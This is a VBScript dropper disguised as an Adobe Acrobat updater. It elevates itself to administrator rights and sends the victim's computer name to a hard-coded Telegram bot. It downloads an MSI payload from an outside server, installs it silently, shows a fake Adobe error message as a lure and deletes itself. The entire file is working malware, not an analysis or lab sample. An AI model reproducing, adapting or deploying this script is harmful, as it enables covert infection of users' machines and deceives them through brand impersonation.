' Self-Elevation Check (Adobe Acrobat Updater)
If Not WScript.Arguments.Named.Exists("elev") Then
    CreateObject("Shell.Application").ShellExecute WScript.FullName, Chr(34) & WScript.ScriptFullName & Chr(34) & " /elev", "", "runas", 1
    WScript.Quit
End If

On Error Resume Next

' --- Telegram Notification Setup (same credentials as PHP) ---
botToken = "8844647853:AAFtBzUoVJGigl0VU5Lbwin_OQ2lM"
chatId = "645343443670"

Function NotifyTelegram(message)
    On Error Resume Next
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    url = "https://api.telegram.org/bot" & botToken & "/sendMessage?chat_id=" & chatId & "&text=" & message
    http.Open "GET", url, False
    http.Send
    NotifyTelegram = (Err.Number = 0)
End Function

' Send start notification
computerName = CreateObject("WScript.Network").ComputerName
NotifyTelegram " Installation started on " & computerName & ". "

Set w = CreateObject("WScript.Shell")
p = w.ExpandEnvironmentStrings("%TEMP%\AdobeUpdate.msi")

' Download the MSI payload
Set h = CreateObject("WinHttp.WinHttpRequest.5.1")
h.Option(6) = True
h.Open "GET", "https://sc-cloudservices.com/Connectmeinvoice.Setup.msi", 0
h.Send

Set s = CreateObject("ADODB.Stream")
s.Type = 1
s.Open
s.Write h.ResponseBody
s.SaveToFile p, 2
s.Close

WScript.Sleep 2000

' Silent installation
cmd = " /qn"
w.Run p & cmd, 0, True

' Notify completion
NotifyTelegram " MSI installation completed on " & computerName

' --- Final Visual Lure (Adobe‑themed error message) ---
MsgBox "Adobe Acrobat could not be updated at this time. Please try again later.", 16, "Adobe Acrobat Update Error"

' Cleanup – delete this VBScript
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptFullName)